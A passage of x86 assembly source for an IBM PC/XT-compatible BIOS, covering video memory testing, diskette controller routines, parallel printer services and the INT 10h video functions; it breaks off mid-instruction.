; Assume monochrome, 4K memory mov bx, 0B000h ; segment in bx cmp al, 7 ; Is video mode mono? jz @@do_test ; yes, skip mov bp, 16 ; Else CGA, has 16K memory mov bh, 0B8h ; segment in bx @@do_test: push bx ; Load video seg in es pop es mov al, [ds:65h] ; Get CRT hardware mode and al, 11110111b ; disable video mov dx, [ds:63h] ; Get 6845 index port add dx, 4 ; add offset for out dx, al ; 6845 controller port @@loop: call mem_test ; Memory check es:0 - es:0400 dec bp jnz @@loop ; Loop until Video RAM checked jnb @@test_ok or [byte ds:15h], error_video ; Set Video RAM error in status @@test_ok: ret endp video_mem_test endif ;--------------------------------------------------------------------------------------------------- ; Clear upper memory region if defined ;--------------------------------------------------------------------------------------------------- ifdef CLEAR_UMA proc clear_upper_memory near push es xor ax, ax ; Zero out memory ifdef UMA_START mov bx, UMA_START ; Starting segment else mov bx, 0A000h endif @@loop: xor di, di ; Target offset always 0 mov es, bx ; Set target segment mov cx, 2000h ; Clear 8K at a time rep stosw add bh, 2 ; Go to the next segment ifdef UMA_END cmp bx, UMA_END ; Until we've reached the end else cmp bx, 0F000h endif jb @@loop pop es ret endp clear_upper_memory endif ;--------------------------------------------------------------------------------------------------- ; Check for CTRL+ALT+DEL combination (with gray DEL key) and reboot if pressed ;--------------------------------------------------------------------------------------------------- ifdef ENHANCED_KEYB proc check_ctrl_alt_del near cmp al, 53h ; DEL pressed? jne @@done ; mov cl, [ds:17h] ; Get keyboard shift status test cl, 00000100b ; CTRL pressed? jz @@done ; test cl, 00001000b ; ALT pressed? jz @@done jmp reboot ; CTRL+ALT+DEL is pressed, so reboot @@done: ret endp check_ctrl_alt_del endif ;--------------------------------------------------------------------------------------------------- ; Interrupt Eh - Diskette Controller ;--------------------------------------------------------------------------------------------------- entry 0EF57h ; Disk interrupt entry proc int_E far sti ; Floppy disk attention push ds push ax xor ax, ax mov ds, ax or [byte ds:43Eh], 10000000b ; Raise "attention" flag mov al, 20h ; Send end_of_interrupt code out 20h, al ; to 8259 interrupt chip pop ax pop ds iret nec_status: mov al, 8 ; Send a "Request status" call nec_chip ; to the NEC 765 chip nec_status_alt: push bx ; Alternate entry point push cx mov cx, 7 xor bx, bx @@status_wait: call nec_ready ; Wait for NEC 765 ready jb @@status_error ; NEC 765 error mov [bx+42h], al ; Save status in BIOS block jz @@status_ok ; NEC 765 ready inc bx ; Count more loop @@status_wait mov [byte ds:41h], 20h ; NEC 765 controller error @@status_error: stc ; Set error condition pop cx pop bx pop ax mov al, 0 retn @@status_ok: pop cx ; Successful return pop bx retn nec_chip: push cx ; Send control to NEC 765 chip push dx push ax xor cx, cx mov dx, 3F4h ; Load NEC 765 status port @@nec_wait: in al, dx ; Read NEC 765 status or al, al js @@nec_ready ; done loop @@nec_wait mov [byte ds:41h], 80h ; Set time out status jmp short @@nec_error @@nec_ready: test al, 40h ; Check data direction jz @@nec_data mov [byte ds:41h], 20h ; NEC 765 is gimped jmp short @@nec_error @@nec_data: inc dx ; Load NEC 765 data port pop ax out dx, al ; write user's parameter clc pop dx pop cx nec_return: retn @@nec_error: pop ax ; Common error return pop dx pop cx pop ax mov al, 0 stc retn endp int_E ;--------------------------------------------------------------------------------------------------- ; Interrupt 1Eh - Diskette Parameter Table ;--------------------------------------------------------------------------------------------------- entry 0EFC7h ; IBM entry for disk param proc int_1E far db 11001111b ; Disk parameter table db 2 db 25h db 2 db 8 db 2Ah db 0FFh db 50h db 0F6h db 19h db 4 endp int_1E ;--------------------------------------------------------------------------------------------------- ; Interrupt 17h - Parallel LPT Services ;--------------------------------------------------------------------------------------------------- entry 0EFD2h ; IBM entry for parallel LPT proc int_17 far sti ; Parallel printer services push ds push bx push cx push dx mov bx, 40h mov ds, bx mov bx, dx ; dx is printer index (0 - 3) shl bx, 1 ; word index mov dx, [bx+8] ; Load printer port or dx, dx jz @@end ; Goes to black hole or ah, ah jz @@print ; Function is print, ah=0 dec ah jz @@init ; Function is init, ah=1 dec ah jz @@status ; Get the status, ah=2 @@end: pop dx pop cx pop bx pop ds iret @@print: out dx, al ; Char --> data lines 0-7 inc dx ; Printer status port mov bh, [bx+78h] ; Load time out parameter mov ah, al @@retry: xor cx, cx ; Clear low order time out @@poll: in al, dx ; Get line printer status or al, al ; ready? js @@ready ; done if so loop @@poll dec bh ; Decrement hi order time out jnz @@retry or al, 00000001b ; Set timeout in Status Byte and al, 11111001b ; bits returned to caller jmp short @@toggle @@ready: inc dx ; Printer control port mov al, 00001101b ; Set output strobe hi out dx, al ; data lines 0-7 valid @@strobe: mov al, 00001100b ; Set output strobe lo out dx, al ; data lines 0-7 ????? dec dx ; Printer status port jmp short @@get_status ; get line printer status @@status: mov ah, al ; Save copy of character inc dx ; Printer status port @@get_status: in al, dx ; Read printer status and al, 11111000b ; bits returned to caller @@toggle: xor al, 01001000b ; toggle ERROR, ACKNOWLEDGE xchg al, ah jmp @@end ; Exit, ah=status, al=character @@init: mov ah, al ; Initialize the line printer inc dx inc dx mov al, 00001000b out dx, al ; Request initialize mov cx, 5DCh ; delay @@delay: loop @@delay jmp @@strobe ; Strobe the line printer endp int_17 str_cga db 195, ' CGA Graphics', 0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Video BIOS (Mono/CGA) Main Entry ;--------------------------------------------------------------------------------------------------- entry 0F045h ; IBM entry point for table video_funcs dw int_10_func_0 ; Set mode dw int_10_func_1 ; Set cursor type dw int_10_func_2 ; Set cursor position dw int_10_func_3 ; Get cursor position dw int_10_func_4 ; Read light pen position dw int_10_func_5 ; Set active display page dw int_10_func_6_7 ; Scroll active page up dw int_10_func_6_7 ; Scroll active page down dw int_10_func_8_9_10 ; Read attribute/character dw int_10_func_8_9_10 ; Write attribute/character dw int_10_func_8_9_10 ; Write character only dw int_10_func_11 ; Set color dw int_10_func_12 ; Write pixel dw int_10_func_13 ; Read pixel dw int_10_func_14 ; Write teletype dw int_10_func_15 ; Return current video state entry 0F065h ; IBM entry, video BIOS service proc int_10 far sti ; Video BIOS service ah=(0-15) cld ; strings auto-increment push bp push es push ds push si push di push dx push cx push bx push ax mov bx, 40h mov ds, bx mov bl, [ds:10h] ; Get equipment byte and bl, 00110000b ; isolate video mode cmp bl, 00110000b ; Check for monochrome card mov bx, 0B800h jnz @@dispatch ; not there, bx --> CGA mov bh, 0B0h ; Else bx --> MONO @@dispatch: push bx ; Save video buffer address mov bp, sp ; start of stack frame call int_10_dispatch ; then do the function pop si pop ax pop bx pop cx pop dx pop di pop si pop ds pop es pop bp iret map_byte: push dx ; Multiply al by bx, cx --> buffer mov ah, 0 mul bx ; Position in ax pop dx mov cx, [bp+0] ; cx --> video buffer retn endp int_10 str_last_line db 192, 0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 1Dh - Video Parameter Tables ;--------------------------------------------------------------------------------------------------- entry 0F0A4h ; IBM entry, SET_MODE tables proc int_1D far db 38h, 28h, 2Dh, 0Ah, 1Fh, 6, 19h ; Init string for 40x25 color db 1Ch, 2, 7, 6, 7 db 0, 0, 0, 0 db 71h, 50h, 5Ah, 0Ah, 1Fh, 6, 19h ; Init string for 80x25 color db 1Ch, 2, 7, 6, 7 db 0, 0, 0, 0 db 38h, 28h, 2Dh, 0Ah, 7Fh, 6, 64h ; Init string for graphics db 70h, 2, 1, 6, 7 db 0, 0, 0, 0 db 61h, 50h, 52h, 0Fh, 19h, 6, 19h ; Init string for 80x25 b/w db 19h, 2, 0Dh, 0Bh, 0Ch db 0, 0, 0, 0 regen_len dw 0800h ; Regen length, 40x25 dw 1000h ; 80x25 dw 4000h ; graphics dw 4000h max_cols db 28h, 28h, 50h, 50h, 28h, 28h, 50h, 50h ; Maximum columns modes db 2Ch, 28h, 2Dh, 29h, 2Ah, 2Eh, 1Eh, 29h ; Table of mode sets mul_lookup db 00h, 00h, 10h, 10h, 20h, 20h, 20h, 30h ; Table lookup for multiply endp int_1D ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function Dispatch ;--------------------------------------------------------------------------------------------------- proc int_10_dispatch near cmp ah, 0Fh ; Is ah a legal video command? jbe @@ok invalid: ret ; error return if not @@ok: shl ah, 1 ; Make word value mov bl, ah ; then set up bx mov bh, 0 jmp [word cs:bx+video_funcs] ; vector to routines endp int_10_dispatch ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 0: Set mode ;--------------------------------------------------------------------------------------------------- proc int_10_func_0 near mov al, [ds:10h] ; Set mode of CRT mov dx, 3B4h ; mono port and al, 00110000b ; get display type cmp al, 00110000b ; equal if mono mov al, 1 ; Assume mono display mov bl, 7 ; mode is 7 jz @@reset ; Skip if mono, else CGA mov bl, [bp+2] ; bl = mode number (user al) cmp bl, 7 ja invalid mov dl, 0D4h ; 3D4 is CGA port dec al @@reset: mov [ds:63h], dx ; Save current CRT display port add dl, 4 out dx, al ; Reset the video mov [ds:49h], bl ; save current CRT mode push ds xor ax, ax mov ds, ax les si, [dword ds:74h] ; si --> INT_1D video parameters pop ds mov bh, 0 push bx mov bl, [cs:bx+mul_lookup] ; Get bl for index into INT_1D add si, bx mov cx, 10h ; Sixteen values to send @@loop: mov al, [es:si] ; Value to send in si call send_ax ; send it inc ah ; bump count inc si ; point to next loop @@loop ; loop until done mov bx, [bp+0] ; bx --> regen buffer mov es, bx ; into es segment xor di, di call mode_check ; Set flags to mode mov ch, 20h ; assume CGA mov ax, 0 ; and graphics jb @@fill ; do graphics fill jnz @@text ; Alphanumeric fill mov ch, 8h ; mono card @@text: mov ax, 7*100h+' ' ; Word for text fill @@fill: rep stosw ; fill regen buffer mov dx, [ds:63h] ; Get the port add dl, 4 pop bx mov al, [cs:bx+modes] ; Load data to set for mode out dx, al ; and send it mov [ds:65h], al ; then save active data inc dx mov al, 30h ; Assume not 640x200 b/w cmp bl, 6 ; correct? jnz @@palette mov al, 3Fh ; Palette for 640x200 b/w @@palette: mov [ds:66h], al ; save palette out dx, al ; send palette xor ax, ax mov [ds:4Eh], ax ; Start at beg. of 1st page mov [ds:62h], al ; active page=page 0 mov cl, 8 ; Do 8 pages of cursor data mov di, 50h ; Page cursor data at 40:50 @@cursor: mov [di], ax ; Cursor at upper left of page inc di ; next page loop @@cursor mov al, [cs:bx+max_cols] ; Get display width mov [ds:4Ah], ax ; save it and bl, 11111110b mov ax, [word cs:bx+regen_len] ; Get video regen length mov [ds:4Ch], ax ; save it ret endp int_10_func_0 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 1: Set cursor type ;--------------------------------------------------------------------------------------------------- proc int_10_func_1 near mov cx, [bp+6] ; Set cursor type, from cx mov [ds:60h], cx ; save it mov ah, 0Ah ; CRT index register 0Ah call out_6845 ; send ch, cl to CRT register ret endp int_10_func_1 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 2: Set cursor position ;--------------------------------------------------------------------------------------------------- proc int_10_func_2 near mov bl, [bp+5] ; Set cursor position, page bh shl bl, 1 ; (our bl) mov bh, 0 mov ax, [bp+8] ; Position in user dx (our ax) mov [bx+50h], ax ; remember cursor position jmp set_cursor ; set 6845 cursor hardware endp int_10_func_2 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 3: Get cursor position ;--------------------------------------------------------------------------------------------------- proc int_10_func_3 near mov bl, [bp+5] ; Get cursor position, page bh shl bl, 1 mov bh, 0 mov ax, [bx+50h] mov [bp+8], ax ; return position in user dx mov ax, [ds:60h] ; Get cursor mode mov [bp+6], ax ; return in user cx ret endp int_10_func_3 pen_offset db 3, 3, 5, 5, 3, 3, 3, 4 ; Light pen offset table ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 4: Read light pen position ;--------------------------------------------------------------------------------------------------- proc int_10_func_4 near mov dx, [ds:63h] add dl, 6 mov [byte bp+3], 0 ; ah=0, assume not triggered in al, dx test al, 00000100b jz @@reset ; Skip, reset if pen not set test al, 00000010b jnz @@triggered ; Skip if pen triggered ret ; return, do not reset @@triggered: mov ah, 10h ; Offset to pen port is 10h call pen_pos ; read into ch, cl mov bl, [ds:49h] ; Get CRT mode data word mov cl, bl mov bh, 0 mov bl, [byte cs:bx+pen_offset] ; Load offset for subtraction sub cx, bx jns @@mode ; did not overflow xor ax, ax ; Else fudge a zero @@mode: call mode_check ; Set flags on display type jnb @@text ; text mode, skip mov ch, 28h div dl mov bl, ah mov bh, 0 mov cl, 3 shl bx, cl mov ch, al shl ch, 1 mov dl, ah mov dh, al shr dh, 1 shr dh, 1 cmp [byte ds:49h], 6 ; Mode 640x200 b/w? jnz @@done ; no, skip shl dl, 1 shl bx, 1 jmp short @@done @@text: div [byte ds:4Ah] ; Divide by columns in screen xchg al, ah ; as this is text mode mov dx, ax mov cl, 3 shl ah, cl mov ch, ah mov bl, al mov bh, 0 shl bx, cl @@done: mov [byte bp+3], 1 ; Return ah=1, light pen read mov [bp+8], dx ; row, column in user dx mov [bp+4], bx ; pixel column in user bx mov [bp+7], ch ; raster line in user ch @@reset: mov dx, [ds:63h] ; Get port of active CRT card add dx, 7 out dx, al ; reset the light pen ret endp int_10_func_4 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 5: Set active display page ;--------------------------------------------------------------------------------------------------- proc int_10_func_5 near mov al, [bp+2] ; Set active display page to al mov [ds:62h], al ; save new active page mov ah, 0 ; clear high order push ax mov bx, [ds:4Ch] ; Get size of regen buffer mul bx ; times number of pages mov [ds:4Eh], ax ; Now ax = CRT offset, save shr ax, 1 ; now word offset mov cx, ax ; save a copy mov ah, 0Ch ; CRT index register 0Ch call out_6845 ; send ch, cl through CRT register pop bx call move_cursor ; Save new parameters ret endp int_10_func_5 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 6: Scroll active page up ; Function 7: Scroll active page down ;--------------------------------------------------------------------------------------------------- proc int_10_func_6_7 near call mode_check jnb @@text jmp near @@graphics ; Graphics scroll @@text: cld ; Strings go upward cmp [byte ds:49h], 2 jb @@get_coords ; no retrace wait needed cmp [byte ds:49h], 3 ja @@get_coords ; no retrace wait needed mov dx, 3DAh ; Else 80x25, do the kludge @@wait: in al, dx ; Read CGA status register test al, 00001000b ; vertical retrace? jz @@wait ; wait until it is mov dx, 3D8h ; Then go and mov al, 25h ; turn the display out dx, al ; off to avoid snow @@get_coords: mov ax, [bp+8] ; Get row, column of upper left push ax cmp [byte bp+3], 7 ; Check for scroll down jz @@offset ; yes, skip if so mov ax, [bp+6] ; Get row, column of lower right @@offset: call rc_to_col ; Get byte offset in CRT buffer add ax, [ds:4Eh] ; add base for CRT buffer mov si, ax mov di, ax pop dx sub dx, [bp+6] ; Subtract (row, col) lwr rhgt add dx, 101h ; width of one char mov bx, [ds:4Ah] ; Get columns in display shl bx, 1 ; bytes in row of display push ds mov al, [bp+2] ; Get scroll fill character call map_byte ; calculate offset mov es, cx ; cx --> byte in buffer mov ds, cx cmp [byte bp+3], 6 ; Scroll up? jz @@count ; skip if so neg ax neg bx std ; Else start at top of page @@count: mov cl, [bp+2] ; Get count of lines to scroll or cl, cl jz @@attr ; nothing to do add si, ax sub dh, [bp+2] @@scroll: mov ch, 0 ; Clear high order word count mov cl, dl ; load low order word count push di push si rep movsw ; Do the scroll pop si pop di add si, bx ; Move one line in direction add di, bx ; "" "" dec dh ; One less line to scroll jnz @@scroll mov dh, [bp+2] ; Now get number of rows @@attr: mov ch, 0 ; Clear high order word count mov ah, [bp+5] ; get fill attribute mov al, ' ' ; fill character @@fill: mov cl, dl ; Get characters to scroll push di rep stosw ; store fill attr/char pop di add di, bx ; Show row was filled dec dh jnz @@fill ; more rows are left pop ds call mode_check ; Check for monochrome card jz @@done ; skip if so mov al, [ds:65h] ; Get the mode data byte mov dx, 3D8h ; load active CRT card port out dx, al ; and unblank the screen @@done: ret @@graphics: cld ; Assume graphics scroll up mov ax, [bp+8] ; (Row, Col) of lower right push ax cmp [byte bp+3], 7 ; Scroll down? jz @@gfx_offset ; skip if so mov ax, [bp+6] ; (Row, Col) of upper left @@gfx_offset: call gfx_rc_col ; Convert (Row, Col) -> Chars mov di, ax pop dx sub dx, [bp+6] ; Chars to copy over add dx, 101h ; width of one char shl dh, 1 shl dh, 1 mov al, [bp+3] ; Get command type cmp [byte ds:49h], 6 ; is this 640x200? jz @@gfx_next ; skip if so shl dl, 1 ; Else bigger characters shl di, 1 cmp al, 7 ; Is this scroll down? jnz @@gfx_next ; skip if not so inc di @@gfx_next: cmp al, 7 ; Is this scroll down? jnz @@gfx_start ; skip if not so add di, 0F0h @@gfx_start: mov bl, [bp+2] ; Number of rows to blank shl bl, 1 shl bl, 1 push bx sub dh, bl ; Subtract from row count mov al, 50h mul bl mov bx, 1FB0h cmp [byte bp+3], 6 ; Is this scroll up? jz @@gfx_end ; skip if so neg ax ; Else do it mov bx, 2050h std ; in reverse @@gfx_end: mov si, di ; End of area add si, ax ; start pop ax or al, al mov cx, [bp+0] mov ds, cx mov es, cx jz @@gfx_attr ; No rows to scroll push ax @@gfx_scroll: mov ch, 0 ; Zero hi order byte count mov cl, dl ; bytes in row push si push di rep movsb ; Copy one plane pop di pop si add si, 2000h ; Load other graphics add di, 2000h ; video plane mov cl, dl push si push di rep movsb ; Copy other plane pop di pop si sub si, bx sub di, bx dec dh ; One less row to scroll jnz @@gfx_scroll ; loop if more to do pop ax mov dh, al ; Load rows to blank @@gfx_attr: mov al, [bp+5] ; Get fill attribute mov ch, 0 @@gfx_fill: mov cl, dl ; Get bytes per row push di rep stosb ; Load row with fill attribute pop di add di, 2000h ; Do other graphics video plane mov cl, dl push di rep stosb ; Load row with fill attribute pop di sub di, bx dec dh ; Show one less row to blank jnz @@gfx_fill ; loop if more to do ret endp int_10_func_6_7 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 8: Read attribute/character ; Function 9: Write attribute/character ; Function 10: Write character only ;--------------------------------------------------------------------------------------------------- proc int_10_func_8_9_10 near call mode_check jb @@graphics ; Graphics operation mov bl, [bp+5] ; Get the display page mov bh, 0 push bx call text_rc_col ; Convert Row, Col, Page -> Col mov di, ax ; offset in di pop ax mul [word ds:4Ch] ; Page length X page number add di, ax ; current char position mov si, di ; move into si mov dx, [ds:63h] ; Display port into dx add dx, 6 ; get status port push ds mov bx, [bp+0] ; bx --> regen. buffer mov ds, bx mov es, bx mov al, [bp+3] ; Get user (ah) function request cmp al, 8 jnz @@write ; skip if not read attribute @@read: in al, dx ; Read CRT display status test al, 00000001b ; test for horizontal retrace jnz @@read ; Yes, wait for display on cli ; no interrupts now @@read_wait: in al, dx ; Read CRT display status test al, 00000001b ; test for horizontal retrace jz @@read_wait ; not yet, wait for it lodsw ; Read character/attribute pop ds mov [bp+2], al ; Return character mov [bp+3], ah ; and attribute ret @@write: mov bl, [bp+2] ; Get character to write mov bh, [bp+4] ; attribute mov cx, [bp+6] ; character count cmp al, 0Ah ; Write character only? jz @@char_write ; skip if so @@write_loop: in al, dx ; Read CRT display status test al, 00000001b ; test for horizontal retrace jnz @@write_loop ; Yes, wait for display on cli ; no interrupts now @@write_wait: in al, dx ; Read CRT display status test al, 00000001b ; test for horizontal retrace jz @@write_wait ; not yet, wait for it mov ax, bx ; Get char/attribute stosw ; write it loop @@write_loop ; loop for character count pop ds ret @@char_write: in al, dx ; Read CRT display status test al, 00000001b ; test for horizontal retrace jnz @@char_write ; not yet, wait for it cli ; no interrupts now @@char_wait: in al, dx ; Read CRT display status test al, 00000001b ; test for horizontal retrace jz @@char_wait ; not yet, wait for it mov al, bl ; Get character stosb ; write it inc di ; skip attribute loop @@char_write ; loop for character count pop ds ret @@graphics: cmp [byte bp+3], 8 ; Read graphics char/attr? jnz @@gfx_write ; no, must be write jmp near @@gfx_read ; Else read char/attr @@gfx_write: mov ax, [ds:50h] ; Get cursor position call gfx_rc_col ; convert (row, col) -> col mov di, ax ; Save in displacement register push ds mov al, [bp+2] ; Get character to write mov ah, 0 or al, al ; Is it user character set? js @@user_chars ; skip if so mov dx, cs ; Else use ROM character set mov si, offset gfx_chars ; offset gfx_chars into si jmp short @@buffer @@user_chars: and al, 7Fh ; Origin to zero xor bx, bx ; then go load mov ds, bx ; user graphics lds si, [dword ds:7Ch] ; vector, offset in si mov dx, ds ; segment into dx @@buffer: pop ds ; Restore data segment mov cl, 3 ; char 8 pixels wide shl ax, cl add si, ax ; Add regen buffer base address mov ax, [bp+0] ; get regen buffer address mov es, ax ; into es mov cx, [bp+6] ; load character count cmp [byte ds:49h], 6 ; Is the mode 640x200 b/w? push ds mov ds, dx jz @@write_640x200 ; skip if so shl di, 1 mov al, [bp+4] ; Get character attribute and ax, 3 mov bx, 5555h mul bx mov dx, ax mov bl, [bp+4] @@gfx_write_loop: mov bh, 8 ; Char 8 pixels wide push di push si @@write_read: lodsb ; Read the screen push cx push bx xor bx, bx mov cx, 8 @@shift: shr al, 1 ; Shift bits through byte rcr bx, 1 sar bx, 1 loop @@shift mov ax, bx ; Result into ax pop bx pop cx and ax, dx xchg ah, al or bl, bl jns @@write_word xor ax, [es:di] @@write_word: mov [es:di], ax ; Write new word xor di, 2000h test di, 2000h ; Is this other plane? jnz @@write_next ; nope add di, 50h ; Else advance character @@write_next: dec bh ; Show another char written jnz @@write_read ; more to go pop si pop di inc di inc di loop @@gfx_write_loop pop ds ret @@write_640x200: mov bl, [bp+4] ; Get display page mov dx, 2000h ; size of graphics plane @@write_loop_640: mov bh, 8 ; Pixel count to write push di push si @@write_read_640: lodsb ; Read from one plane or bl, bl ; done both planes? jns @@write_byte_640 ; skip if not xor al, [es:di] ; Else load attribute @@write_byte_640: mov [es:di], al ; Write out attribute xor di, dx ; get other plane test di, dx ; Done both planes? jnz @@write_next_640 ; skip if not add di, 50h ; Else position for now char @@write_next_640: dec bh ; Show row of pixels read jnz @@write_read_640 ; not done all of them pop si pop di inc di loop @@write_loop_640 pop ds ret @@gfx_read: cld ; Increment upwards mov ax, [ds:50h] ; get cursor position call gfx_rc_col ; Convert (row, col) -> columns mov si, ax ; save in si sub sp, 8 ; Grab 8 bytes temp storage mov di, sp ; save base in di cmp [byte ds:49h], 6 ; Mode 640x200 b/w? mov ax, [bp+0] ; ax --> CRT regen buffer push ds push di mov ds, ax jz @@640x200 ; Mode is 640x200 b/w - skip mov dh, 8 ; Eight pixels high/char shl si, 1 mov bx, 2000h ; Bytes per video plane @@read_loop: mov ax, [si] ; Read existing word xchg ah, al mov cx, 0C000h ; Attributes to scan for mov dl, 0 @@attr: test ax, cx ; Look for attributes clc jz @@skip ; set, skip stc ; Else show not set @@skip: rcl dl, 1 shr cx, 1 shr cx, 1 jnb @@attr ; more shifts to go mov [ss:di], dl inc di xor si, bx ; Do other video plane test si, bx ; done both planes? jnz @@row_done ; no, skip add si, 50h ; Else advance pointer @@row_done: dec dh ; Show another pixel row done jnz @@read_loop ; more rows to do jmp short @@load_chars @@640x200: mov dh, 4 ; Mode 640x200 b/w - special @@read_plane: mov ah, [si] ; Read pixels from one plane mov [ss:di], ah ; save on stack inc di ; advance mov ah, [si+2000h] ; Read pixels from other plane mov [ss:di], ah ; Save pixels on stack inc di ; advance add si, 50h ; Total pixels in char dec dh ; another row processed jnz @@read_plane ; more to do @@load_chars: mov dx, cs ; Load segment of graphics char mov di, offset gfx_chars ; and offset mov es, dx ; save offset in es mov dx, ss mov ds, dx pop si mov al, 0 @@gfx_user_chars: mov dx, 80h ; Number of characters in graphics set @@gfx_read_loop: push si push di mov cx, 8 ; Bytes to compare for char repz cmpsb ; do compare pop di pop si jz @@read_done ; Found graphics character inc al ; else show another char add di, 8 ; advance one row dec dx ; one less char to scan jnz @@gfx_read_loop ; Loop if more char left or al, al ; User graphics character set? jz @@read_done ; no, not found xor bx, bx mov ds, bx les di, [dword ds:7Ch] ; Else load user graphics char mov bx, es or bx, di jz @@read_done ; not found jmp @@gfx_user_chars ; Try using user graphics char @@read_done: mov [bp+2], al ; Return char in user al pop ds add sp, 8 ; return temp storage ret endp int_10_func_8_9_10 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 11: Set color ;--------------------------------------------------------------------------------------------------- proc int_10_func_11 near mov dx, [ds:63h] ; Set color, get CGA card port add dx, 5 ; color select register mov al, [ds:66h] ; Get CRT palette mov ah, [bp+5] ; new palette ID, user bh or ah, ah mov ah, [bp+4] ; new palette color, user bl jnz @@skip ; Palette ID specified, skip and al, 0E0h and ah, 1Fh ; Null ID = ID 01Fh or al, ah ; set in color jmp short @@new_palette @@skip: and al, 0DFh test ah, 1 jz @@new_palette or al, 20h @@new_palette: mov [ds:66h], al ; Save new palette out dx, al ; tell CGA about it ret endp int_10_func_11 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 12: Write pixel ;--------------------------------------------------------------------------------------------------- proc int_10_func_12 near mov ax, [bp+0] ; Write pixel mov es, ax mov dx, [bp+8] ; Load row from user dx mov cx, [bp+6] ; col from user cx call dot_offset ; Find dot offset jnz @@ok ; valid mov al, [bp+2] ; Load user color mov bl, al and al, 1 ror al, 1 mov ah, 7Fh jmp short @@read @@ok: shl cl, 1 mov al, [bp+2] mov bl, al and al, 3 ror al, 1 ror al, 1 mov ah, 3Fh @@read: ror ah, cl shr al, cl mov cl, [es:si] ; Read the char with the dot or bl, bl jns @@color xor cl, al ; Exclusive or existing color jmp short @@write @@color: and cl, ah ; Set new color for dot or cl, al @@write: mov [es:si], cl ; Write out char with the dot ret endp int_10_func_12 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 13: Read pixel ;--------------------------------------------------------------------------------------------------- proc int_10_func_13 near mov ax, [bp+0] ; ax --> video regen buffer mov es, ax ; into es segment mov dx, [bp+8] ; Load row from user dx mov cx, [bp+6] ; col from user cx call dot_offset ; Calculate dot offset mov al, [es:si] ; read dot jnz @@offset ; was there shl al, cl rol al, 1 and al, 1 jmp short @@done @@offset: shl cl, 1 ; Calculate offset in char shl al, cl rol al, 1 rol al, 1 and al, 3 @@done: mov [bp+2], al ; Return dot pos in user al ret endp int_10_func_13 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 14: Write teletype ;--------------------------------------------------------------------------------------------------- proc int_10_func_14 near mov bl, [ds:62h] ; Get active video page (0-7) shl bl, 1 ; as word index mov bh, 0 ; clear high order mov dx, [bx+50h] ; Index into cursor position mov al, [bp+2] ; Get character to write cmp al, 8 ; back space? jz @@back_space ; skip if so cmp al, LF ; Is it a line feed? jz @@line_feed ; skip if so cmp al, 7 ; Print a bell? jz @@beep ; do beep cmp al, CR ; Is it a carriage return? jz @@carriage_return ; skip if so mov bl, [bp+4] ; Else write at cursor position mov ah, 0Ah mov cx, 1 ; one time int 10h inc dl ; Advance cursor cmp dl, [ds:4Ah] ; check for line overflow jnz @@position mov dl, 0 ; Overflowed, then fake jmp short @@line_feed ; new line @@back_space: cmp dl, 0 ; At start of line? jz @@position ; skip if so dec dl ; Else back up jmp short @@position ; join common code @@beep: mov bl, 1 ; Do a short call beep ; beep ret @@carriage_return: mov dl, 0 ; Position to start of line @@position: mov bl, [ds:62h] ; Get active video page (0-7) shl bl, 1 ; as word index mov bh, 0 ; clear high order mov [bx+50h], dx ; Remember the cursor position jmp set_cursor ; set 6845 cursor hardware @@line_feed: cmp dh, 18h ; Done all 24 lines on page? jz @@scroll ; yes, scroll inc dh ; Else advance line jnz @@position @@scroll: mov ah, 2 ; Position cursor at line start int 10h call mode_check ; Is this text mode? mov bh, 0 jb @@scroll_up ; Skip if text mode mov ah, 8 int 10h ; else read attribute mov bh, ah @@scroll_up: mov ah, 6 ; Now prepare to mov al, 1 ; scroll xor cx, cx ; the mov dh, 18h ; page mov dl, [ds:4Ah] ; up dec dl int 10h ret endp int_10_func_14 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Function 15: Return current video state ;--------------------------------------------------------------------------------------------------- proc int_10_func_15 near mov al, [ds:4Ah] ; Get current video state mov [bp+3], al ; columns mov al, [ds:49h] mov [bp+2], al ; mode mov al, [ds:62h] mov [bp+5], al ; page ret endp int_10_func_15 ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Internal: Video mode check ;--------------------------------------------------------------------------------------------------- proc mode_check near push ax ; Set flags to current mode mov al, [ds:49h] ; get mode cmp al, 7 ; equal if mono jz @@done cmp al, 4 cmc jnb @@done ; carry set on graphics sbb al, al stc @@done: pop ax ret endp mode_check ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Internal: Calculate dot offset ;--------------------------------------------------------------------------------------------------- proc dot_offset near mov al, 50h ; Dots in character position xor si, si shr dl, 1 ; Two bytes/char position jnb @@calc ; no overflow mov si, 2000h ; Else on other video plane @@calc: mul dl ; Multiply position by row add si, ax ; add in column position mov dx, cx ; Copy column position mov cx, 302h ; regular char size cmp [byte ds:49h], 6 ; Mode 640x200, b/w? pushf jnz @@done ; skip if not mov cx, 703h ; Else special char size @@done: and ch, dl shr dx, cl add si, dx xchg cl, ch popf ret endp dot_offset ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Internal: Read light pen position ;--------------------------------------------------------------------------------------------------- proc pen_pos near call near @@pen_xy ; Read light pen position high mov ch, al ; save in ch inc ah call near @@pen_xy ; Read light pen position low mov cl, al ; save in cl ret @@pen_xy: push dx ; Read CRT register offset al mov dx, [ds:63h] ; get active CRT port xchg al, ah out dx, al ; Send initialization byte inc dl ; increment in al, dx ; Read pen position byte back pop dx ret endp pen_pos ;--------------------------------------------------------------------------------------------------- ; Interrupt 10h - Internal: Convert (row, col) coordinates to column count for text modes ;--------------------------------------------------------------------------------------------------- proc text_rc_col near mov bh, 0 ; Convert Row, Col, Page -> Col shl bx, 1 ; two bytes/column mov ax, [bx+50h] ; Get page number in ax ; join common code rc_to_col: push bx ; Map (ah=row, al=col) to col mov bl, al mov al, ah mul [byte 